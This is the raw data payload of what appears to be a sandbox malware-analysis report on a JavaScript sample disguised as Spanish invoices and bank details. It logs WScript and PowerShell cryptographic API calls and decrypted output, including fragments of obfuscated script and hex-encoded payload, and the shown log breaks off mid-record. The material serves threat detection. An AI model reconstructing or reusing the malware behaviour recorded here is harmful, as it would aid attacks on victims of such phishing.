24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 4e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T43e,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample 0517bf10dbb8… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0517bf10dbb8…. Threat score 100/100. 3/26 AV engines flagged this file. 5 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452"],"about":{"@type":"SoftwareApplication","name":"facturas y datos bancarios.js.unknown","applicationCategory":["script","javascript"],"identifier":"0517bf10dbb8a2078f9a7bccea9fab3012093f637568dadfc5410a7ffad41452","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":3,"total":26},"behavioralIndicators":{"malicious":5,"suspicious":15},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4437,"WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "34fe38" "pszBlobType": "OpaqueKeyBlob" "phKey": "b0bb3500" "pbKeyObject": "620200005255555538fe3400d0bb350000000000000000000000000000000000300200004b53534d02000100010000001000000080000000100000004c78667cd84e9b66ac140a5e4fe1560d00000000000000000000000000000000000000004c78667cd84e9b66ac140a5e4fe1560db5c9b1f86d872a9ec19320c08e7276cdf7f10ce19a76267f5be506bfd59770727ba04ce2e1d66a9dba336c226fa41c503a3c1f4adbea75d761d919f50e7d05a5d55719e10ebd6c366f6475c36119706621062a0e2fbb463840df33fb21c6439dd51c74f3faa732cbba7801309bbe42adfb30e1e70197d32cbbefd21c205190b13150295030c7fa7c8b282860ab79b8d1b13c173281fbed4e0ad3c52ea1aa7dff4b7a634a14b33cea9ee1f0644c6232a7e1077a515fc95fa08a52cc8ed283c2c3e655db26bece25f1d59b932e58d10e4d5865556b589bfed76b55b6df8d4a9d6350a268e000feabbc33ce4808e61f2bbc5f44dc94505cc35c3330e3b4d5d163b4fa8027280f181fc8636c20e8e6e18000c8a2fe7ff59838e06c743f20858da0e8db7bb5203d3ac69f99ec07c0e9f99fc84c78667cd84e9b66ac140a5e4fe1560d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000003c5ae310a4da29c29ae59c4ac7ffa541000000000000000000000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d02000100010000001000000080000000100000004c78667cd84e9b66ac140a5e4fe1560d00000000000000000000000000000000000000004c78667cd84e9b66ac140a5e4fe1560db5c9b1f86d872a9ec19320c08e7276cdf7f10ce19a76267f5be506bfd59770727ba04ce2e1d66a9dba336c226fa41c503a3c1f4adbea75d761d919f50e7d05a5d55719e10ebd6c366f6475c36119706621062a0e2fbb463840df33fb21c6439dd51c74f3faa732cbba7801309bbe42adfb30e1e70197d32cbbefd21c205190b13150295030c7fa7c8b282860ab79b8d1b13c173281fbed4e0ad3c52ea1aa7dff4b7a634a14b33cea9ee1f0644c6232a7e1077a515fc95fa08a52cc8ed283c2c3e655db26bece25f1d59b932e58d10e4d5865556b589bfed76b55b6df8d4a9d6350a268e000feabbc33ce4808e61f2bbc5f44dc94505cc35c3330e3b4d5d163b4fa8027280f181fc8636c20e8e6e18000c8a2fe7ff59838e06c743f20858da0e8db7bb5203d3ac69f99ec07c0e9f99fc84c78667cd84e9b66ac140a5e4fe1560d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000000000000000000003c5ae310a4da29c29ae59c4ac7ffa541" "cbInput": "560" "dwFlags": "0"} "WScript.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "34fe38" "pszBlobType": "OpaqueKeyBlob" "phKey": "80be3500" "pbKeyObject": "00000000000000005a0200005255555538fe3400a0be350000000000000000000000000000000000300200004b53534d0200010001000000100000008000000010000000a0ebd8b61590cff00b35d63062fad20800000000a98aa7c400000000876612f800000000a0ebd8b61590cff00b35d63062fad2088c5ee81c99ce27ec92fbf1dcf00123d4f278a0906bb6877cf94d76a0094c5574df843291b432b5ed4d7fc34d443396391414208aa0269567ed59562aa96ac01306ae5d59a688c83e4bd19e14e2bb5e07ccf698c16a7e50ff21afceebc31490ec769656ef1ce806103d47c8fbfe5358171bfca6540714a0443a5368bfc40030a863f8644864ecc40c5ebfacb39abf9c1b5d26cbf039ca0ffc6775a34ffdca3f542a555890af678f072de6380d0d9a5461b16326e18532d7978281b70a207c6c6c8a55189e3451f17607b3609da2fddb66a5a03751be04e9e833e291eba54ebbfb811999ad1ba4deb98de6780396ac2a1049bf326e9abd47149642a6ba1b4a521389de8f20d302757a0cffe1ae8d08f4a9b3438ec45adcfa5adffd94d481f71507b5379d39e99f749e85216e8e5e0a81d3a0ebd8b61590cff00b35d63062fad2080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000400100001fb9957af196d3874ec5a32f21c66ad0fcb46551ff27c8c600000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d0200010001000000100000008000000010000000a0ebd8b61590cff00b35d63062fad20800000000a98aa7c400000000876612f800000000a0ebd8b61590cff00b35d63062fad2088c5ee81c99ce27ec92fbf1dcf00123d4f278a0906bb6877cf94d76a0094c5574df843291b432b5ed4d7fc34d443396391414208aa0269567ed59562aa96ac01306ae5d59a688c83e4bd19e14e2bb5e07ccf698c16a7e50ff21afceebc31490ec769656ef1ce806103d47c8fbfe5358171bfca6540714a0443a5368bfc40030a863f8644864ecc40c5ebfacb39abf9c1b5d26cbf039ca0ffc6775a34ffdca3f542a555890af678f072de6380d0d9a5461b16326e18532d7978281b70a207c6c6c8a55189e3451f17607b3609da2fddb66a5a03751be04e9e833e291eba54ebbfb811999ad1ba4deb98de6780396ac2a1049bf326e9abd47149642a6ba1b4a521389de8f20d302757a0cffe1ae8d08f4a9b3438ec45adcfa5adffd94d481f71507b5379d39e99f749e85216e8e5e0a81d3a0ebd8b61590cff00b35d63062fad2080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000400100001fb9957af196d3874ec5a32f21c66ad0fcb46551ff27c8c6" "cbInput": "560" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "39aa70" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8U9" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "39aa70" "pszBlobType": "RSAPUBLICBLOB" "phKey": "xU9" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "WScript.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "39aa70" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d8553900" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "21e840" "pszBlobType": "OpaqueKeyBlob" "phKey": "40032100" "pbKeyObject": "620200005255555540e821006003210000000000000000500072006f00670072300200004b53534d020001000100000010000000800000001000000006892542887ee14566d0c78de59f1546035504061302555331163014060355040a130d4c06892542887ee14566d0c78de59f1546dcd07f9b54ae9ede327e5953d7e14c1526f926957257b84b4029e11897c8ad0dca6cf11db83b4956f812a84e6fda05439507ebb52d3ca2e3d52e0aadbaf40fee3a71c341174d61a2c2636b0f789764e192323bfd857f5a5f471c31503f8b55b1efcef3886ab1a9d72dad98871226cd369873f641f2c25f96df6fc711cd490a27b8143afc4ad6656a95b9a27b58f0a85c02d67096480015fcddb9b78785491fdbd2d284eeb20aa08b0db6cb85744c3c587c20aaaa60d82465bfbc6b0e79faf7dd610bc9f91cf88ecfdf644f6bc6469cd3204a45497df34736c39cc1a41922d3b8be15ceac5db9027fbe6f8692dabe121cbfcc42fde3acccd3e3d684ed64d1948e5dbef25b5c608e2e007a483e87071063a2d67a6201de7c755c1ac610877d585d974bffcba30806175dc4ba65db679e4d06892542887ee14566d0c78de59f15460000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000044f642c9d37b86a904e1d57aa0ee04df8ff55da1b64c1857003200310037003600310000001800000000" "cbKeyObject": "610" "pbInput": "300200004b53534d020001000100000010000000800000001000000006892542887ee14566d0c78de59f1546035504061302555331163014060355040a130d4c06892542887ee14566d0c78de59f1546dcd07f9b54ae9ede327e5953d7e14c1526f926957257b84b4029e11897c8ad0dca6cf11db83b4956f812a84e6fda05439507ebb52d3ca2e3d52e0aadbaf40fee3a71c341174d61a2c2636b0f789764e192323bfd857f5a5f471c31503f8b55b1efcef3886ab1a9d72dad98871226cd369873f641f2c25f96df6fc711cd490a27b8143afc4ad6656a95b9a27b58f0a85c02d67096480015fcddb9b78785491fdbd2d284eeb20aa08b0db6cb85744c3c587c20aaaa60d82465bfbc6b0e79faf7dd610bc9f91cf88ecfdf644f6bc6469cd3204a45497df34736c39cc1a41922d3b8be15ceac5db9027fbe6f8692dabe121cbfcc42fde3acccd3e3d684ed64d1948e5dbef25b5c608e2e007a483e87071063a2d67a6201de7c755c1ac610877d585d974bffcba30806175dc4ba65db679e4d06892542887ee14566d0c78de59f15460000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000044f642c9d37b86a904e1d57aa0ee04df8ff55da1b64c1857" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "21e840" "pszBlobType": "OpaqueKeyBlob" "phKey": "10062100" "pbKeyObject": "wind" "cbKeyObject": "610" "pbInput": "300200004b53534d0200010001000000100000008000000010000000e206e564176ba1efdb027010f6f3759c00000000ec1ac4340000000099918c4200000000e206e564176ba1efdb027010f6f3759cee9b3b26f9f09ac922f2ead9d4019f459040556e69b0cfa74b42257e9f43ba3b8eb4b7b5e7047812ac465d6c3305e757ed20ec760a249464a662c90895672e5f7811235c7235b738d4577e304130506f5c428bdf2e773ce7fa2042d7bb1012b8d68be735f8fcdbd202dc9905b9cc8bbd1db69d63e54a46b1e796dfb45e5a5409b8969c3b5ddcda8aba4a053ee410513744470652199bdcd8a3d1d9e647c188d1d9adf4096d90537f42d6702f9b601178ad52872db43da7762f462350d9b66157330607bd196f205b9b7b8426f6f042073da57eac2a6927e68214a47d6d8bc6217bfc0c9d17cc594aa87d839bef9f625cb1391ec16c3055d7bfb1dad147e2e1c7fd55b424dd094b16d3818f06f8533b16e020e8c3205cff320e88c4102bd2b41078077d6ac07c17f12ed43b22255a7000e206e564176ba1efdb027010f6f3759c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000400100009aae5a49ae4cea9a84df890340e71efd8d90308b694b970d" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ed80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "18a14b04" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ed80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "98a24b04" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ec30" "pszBlobType": "ECCPUBLICBLOB" "phKey": "989e4b04" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "b89f4b04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "98a04b04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "e0c34504" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "20c84504" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "21e840" "pszBlobType": "OpaqueKeyBlob" "phKey": "10062100" "pbKeyObject": "00000000000000005a0200005255555540e821003006210000000000000000000000000000000000300200004b53534d0200010001000000100000008000000010000000c8909ac1cec28dce9b85f5ca60204a68035504061302555331163014060355040a130d4cc8909ac1cec28dce9b85f5ca60204a687e46df11b08452df2b01a7154b21ed7d811320a23197727d1a96d56851b738152c1479731d830b0e0715de6656a2e6731e9af6c20319fdcc040c23aa52aec5d9ea3cc3c2e9253e0eed291da4bf87d87ddd5d3cca347802c4d9511f6066d6c71d6b9b98f95fe39a3d86b2855de0644240a8b79118f7540b2571e68e789182cc38a0fc969957a89dbc264e13c4b7ccdffcdd6226308acabb8cac84a8481b4877b43d5aad99c3e6ae5512da423554848c04383b36a3febc03ccd13cec60465ece31047bce20c687356f2f80efac97622251841e8965c2fcfb4fe907dac3b8e2cdfdcc39507246e2722a2bfb218c51e5173ec77e545d8adb22586d1953a67a1e36b2aaf09bf34da57605e7c271fe170765149c171d86e755edf6aa6707fbf0c514eabb2fed8f7b42f0704d32ea0d5aa21311c8909ac1cec28dce9b85f5ca60204a680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000044f642c9d37b86a954f3c0270255e73d22a12a7c077cfdf200000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d0200010001000000100000008000000010000000c8909ac1cec28dce9b85f5ca60204a68035504061302555331163014060355040a130d4cc8909ac1cec28dce9b85f5ca60204a687e46df11b08452df2b01a7154b21ed7d811320a23197727d1a96d56851b738152c1479731d830b0e0715de6656a2e6731e9af6c20319fdcc040c23aa52aec5d9ea3cc3c2e9253e0eed291da4bf87d87ddd5d3cca347802c4d9511f6066d6c71d6b9b98f95fe39a3d86b2855de0644240a8b79118f7540b2571e68e789182cc38a0fc969957a89dbc264e13c4b7ccdffcdd6226308acabb8cac84a8481b4877b43d5aad99c3e6ae5512da423554848c04383b36a3febc03ccd13cec60465ece31047bce20c687356f2f80efac97622251841e8965c2fcfb4fe907dac3b8e2cdfdcc39507246e2722a2bfb218c51e5173ec77e545d8adb22586d1953a67a1e36b2aaf09bf34da57605e7c271fe170765149c171d86e755edf6aa6707fbf0c514eabb2fed8f7b42f0704d32ea0d5aa21311c8909ac1cec28dce9b85f5ca60204a680000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000004001000044f642c9d37b86a954f3c0270255e73d22a12a7c077cfdf2" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKey" with parameters {"hAlgorithm": "21e840" "pszBlobType": "OpaqueKeyBlob" "phKey": "40032100" "pbKeyObject": "620200005255555540e821006003210000000000000000000000000000000000300200004b53534d020001000100000010000000800000001000000004a322089b1db8a832de0f69c799ad2a00000000ade473cf00000000b14152e30000000004a322089b1db8a832de0f69c799ad2aeb36c7ce702b7f6642f5700f856cdd25b9f7f859c9dc873f8b29f7300e452a15d312a1f21ace26cd91e7d1fd9fa2fbe8e11d3a29fbd31ce46a34cd19f59636f161189bcf9acb872bf0ff4a3205697cc3b808b5a422c3328fd23c78bdd755047e04fa46aa26397425f4050c98235008e6d7cac88cf1f3bca905f6b03126a6b8d7e8a6c67b19557ad21ca3cae33a057234b5e6defbacb3a429b0106eca8a151cfee615353593a423f04620a757e3b35970366a9b9e75b116c5d58484a7a593fe277240143443db8d5ba035926270177a8029317dc4319b996fe3ee1f39d022e8e2082aa8a718aae4abd275865633ccf7db95558ba410804c0ccadf62fde1b9718df7acba7385d5c7a8da5f2ef12b661370ecb168da72797ddb5f8ae959f1393d81d42c4b679ec815012df39482aeb3d4d804a322089b1db8a832de0f69c799ad2a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000809280c1b5fbe00e9152e19bbaa42c84023eeaa11a57121a000000000000000000000000000000000000" "cbKeyObject": "610" "pbInput": "300200004b53534d020001000100000010000000800000001000000004a322089b1db8a832de0f69c799ad2a00000000ade473cf00000000b14152e30000000004a322089b1db8a832de0f69c799ad2aeb36c7ce702b7f6642f5700f856cdd25b9f7f859c9dc873f8b29f7300e452a15d312a1f21ace26cd91e7d1fd9fa2fbe8e11d3a29fbd31ce46a34cd19f59636f161189bcf9acb872bf0ff4a3205697cc3b808b5a422c3328fd23c78bdd755047e04fa46aa26397425f4050c98235008e6d7cac88cf1f3bca905f6b03126a6b8d7e8a6c67b19557ad21ca3cae33a057234b5e6defbacb3a429b0106eca8a151cfee615353593a423f04620a757e3b35970366a9b9e75b116c5d58484a7a593fe277240143443db8d5ba035926270177a8029317dc4319b996fe3ee1f39d022e8e2082aa8a718aae4abd275865633ccf7db95558ba410804c0ccadf62fde1b9718df7acba7385d5c7a8da5f2ef12b661370ecb168da72797ddb5f8ae959f1393d81d42c4b679ec815012df39482aeb3d4d804a322089b1db8a832de0f69c799ad2a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000000040010000809280c1b5fbe00e9152e19bbaa42c84023eeaa11a57121a" "cbInput": "560" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ec30" "pszBlobType": "ECCPUBLICBLOB" "phKey": "f8164c04" "pbInput": "ECS1" "cbInput": "72" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "f8174c04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "f8184c04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "8"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ed80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "38194c04" "pbInput": "RSA1" "cbInput": "539" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ed80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "781a4c04" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "981a4c04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "21ecd8" "pszBlobType": "ECCPUBLICBLOB" "phKey": "d81a4c04" "pbInput": "ECS30" "cbInput": "104" "dwFlags": "0"}26:T6f2,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "2aae88" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30a42900"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2aae88" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b0a72900"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2aae88" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "b0a92900"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "2aae88" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "30a92900"}27:T7c43,"WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Thu, 30 Nov 2023 19:33:31 GMTContent-Type: text/plain; charset=utf-8Transfer-Encoding: chunkedConnection: keep-aliveCache-Control: max-age=2592000strict-transport-security: max-age=63072000x-frame-options: DENYx-content-typ"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "zGVrCJFONpFRoteDMYqqzjNQAWUnuvaazvKuditEHXkprCSrNmjvLfoejPvKJKOhFESzqmpaxSDKEFEUprQwmw = false; function vwgZlWmzDUlqDtmieqPWwUmWdWaWZDSUmlTPzqthdEDSyRYsSLqWcQODcjPzcogzdwzZMYiDypWqDugzVMDdGriwEPgyMuZWrDypcdMuryvWuPzflPPVyPlvdZfWdWgqWdlWNMWWfhcPwWBPPiYr"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "124a"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "ybQOyDVNPrEsmmTOjUAuTbvsMDwjFOyCxvpLwIUAgUDqrdgNTRDqYDiIFLmnZCbospLkQKlkjORzWGVhUZLpP); GMrIpTTDNccCpZTWnAHUUUTLqwKsONLkTcpHDTZZUfpaurKGaKOwyNSfcUHNcDKDXWIINKRcuHUhfDONUifPkYRUckRuiDIcQpuHckNoAkGZDWDKwTLUctsGksKcqURiLHcMiNfMncctUwMtkWKQNkZsscnkMksisTRsZZn"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "0D"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "9b6d42e2999ae2999b5ae2999ae2999b6343e2999ae2999b67e2999ae2999be2999ae2999b4ce2999ae2999be2999ae2999b43e2999ae2999b6ee2999ae2999b675ae2999ae2999b5147e2999ae2999b6d42e2999ae2999b5ae2999ae2999b6343e2999ae2999b67e2999ae2999be2999ae2999b4ce2999ae2999be2999ae2999b43e2999ae2999b6ee2999ae2999be2999ae2999b5ae2999ae2999b5947e2999ae2999b6b42675ae2999ae2999b5147e2999ae2999b6ee2999ae2999be2999ae2999b49e2999ae2999b7743e2999ae2999b67e2999ae2999b774ae2999ae2999b3044e2999ae2999b39e2999ae2999b5151e2999ae2999b4547e2999ae2999b77e2999ae2999b6755e2999ae2999b6745e2999ae2999b6a42674ee2999ae2999b6744e2999ae2999b3542e2999ae2999b54e2999ae2999b5544e2999ae2999b46426761e2999ae2999b7745e2999ae2999b31e2999ae2999b5153e2999ae2999b6f47e2999ae2999b4d425165e2999ae2999b5546e2999ae2999b45425154e2999ae2999b5548e2999ae2999b7242e2999ae2999b52e2999ae2999b3845e2999ae2999b32425155e2999ae2999b3047e2999ae2999b6a426764e2999ae2999b7747e2999ae2999b48426757e2999ae2999b3047e2999ae2999b73427752e2999ae2999b4947e2999ae2999b73426757e2999ae2999b6345e2999ae2999b6b427764e2999ae2999b5147e2999ae2999b59425159e2999ae2999be2999ae2999b44e2999ae2999b6f42674de2999ae2999b6b46e2999ae2999b3242514ee2999ae2999b6345e2999ae2999b6b42e2999ae2999b61e2999ae2999b3445e2999ae2999b4842e2999ae2999b5ae2999ae2999b6b48e2999ae2999b5742674de2999ae2999b6b46e2999ae2999b32426757e2999ae2999b6746e2999ae2999b61425165e2999ae2999b7747e2999ae2999b75425157e2999ae2999b6747e2999ae2999b4f42e2999ae2999b57e2999ae2999b6f46e2999ae2999b79e2999ae2999b5155e2999ae2999b6f47e2999ae2999b4d42e2999ae2999b4de2999ae2999b6747e2999ae2999b4942e2999ae2999b5ae2999ae2999b6343e2999ae2999b6fe2999ae2999be2999ae2999b49e2999ae2999b3046e2999ae2999b64427757e2999ae2999b5148e2999ae2999b6a42515ae2999ae2999b6f47e2999ae2999b69427762e2999ae2999b7346e2999ae2999b67e2999ae2999be2999ae2999b4ce2999ae2999b7747e2999ae2999b73425164e2999ae2999b3447e2999ae2999b6be2999ae2999be2999ae2999b4be2999ae2999b5547e2999ae2999b72427762e2999ae2999b5948e2999ae2999b75425153e2999ae2999b3443e2999ae2999b70e2999ae2999b774ae2999ae2999b6b45e2999ae2999b42426756e2999ae2999b6343"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "9b3042515ae2999ae2999b6345e2999ae2999b75e2999ae2999b5165e2999ae2999b7747e2999ae2999b69425162e2999ae2999b5547e2999ae2999b7a427763e2999ae2999b4545e2999ae2999b6b42515ae2999ae2999b5147e2999ae2999b68427762e2999ae2999b7747e2999ae2999b6be2999ae2999be2999ae2999b49e2999ae2999b3044e2999ae2999b67e2999ae2999b515ae2999ae2999be2999ae2999b48e2999ae2999b3542e2999ae2999b64e2999ae2999b5143e2999ae2999b37e2999ae2999b514be2999ae2999b4d48e2999ae2999b6c42e2999ae2999b64e2999ae2999b6b48e2999ae2999b4342e2999ae2999b5ae2999ae2999b3447e2999ae2999b68425162e2999ae2999b3047e2999ae2999b76427759e2999ae2999b5143e2999ae2999b6fe2999ae2999be2999ae2999b5ae2999ae2999b4547e2999ae2999b7642e2999ae2999b54e2999ae2999b6f44e2999ae2999b36e2999ae2999b5158e2999ae2999b6b48e2999ae2999b73426759e2999ae2999b3047e2999ae2999b6c427763e2999ae2999b4d48e2999ae2999b4242674ce2999ae2999b3447e2999ae2999b76425161e2999ae2999b5148e2999ae2999b6a42515ae2999ae2999b7747e2999ae2999b6d42515ae2999ae2999b4946e2999ae2999b75e2999ae2999b5162e2999ae2999b5547e2999ae2999b30427763e2999ae2999b6b48e2999ae2999b54427757e2999ae2999be2999ae2999b43e2999ae2999b39e2999ae2999be2999ae2999b49e2999ae2999b6b48e2999ae2999b73426759e2999ae2999b3047e2999ae2999b6c427763e2999ae2999b4d48e2999ae2999b4242e2999ae2999b5ae2999ae2999b5547e2999ae2999b6b425159e2999ae2999b3847e2999ae2999b7342e2999ae2999b4ae2999ae2999b7344e2999ae2999b70e2999ae2999be2999ae2999b5ae2999ae2999b3447e2999ae2999b68425162e2999ae2999b3047e2999ae2999b76427751e2999ae2999b5144e2999ae2999b32e2999ae2999b515ae2999ae2999b4d48e2999ae2999b68426759e2999ae2999b5143e2999ae2999b6fe2999ae2999b775ae2999ae2999b3447e2999ae2999b70426763e2999ae2999b5148e2999ae2999b5442e2999ae2999b4ee2999ae2999b5944e2999ae2999b6c427763e2999ae2999b4547e2999ae2999b43425162e2999ae2999b3847e2999ae2999b79426752e2999ae2999b6f44e2999ae2999b36e2999ae2999b5158e2999ae2999b5148e2999ae2999b7942515ae2999ae2999b5948e2999ae2999b75427762e2999ae2999b4d45e2999ae2999b75e2999ae2999b5162e2999ae2999b5547e2999ae2999b30427763e2999ae2999b6b48e2999ae2999b54427757e2999ae2999be2999ae2999b43e2999ae2999b39e2999ae299"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "H0BwcIG1BwU4C0BeUGUBQZcGhBQbkGkI0D"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": 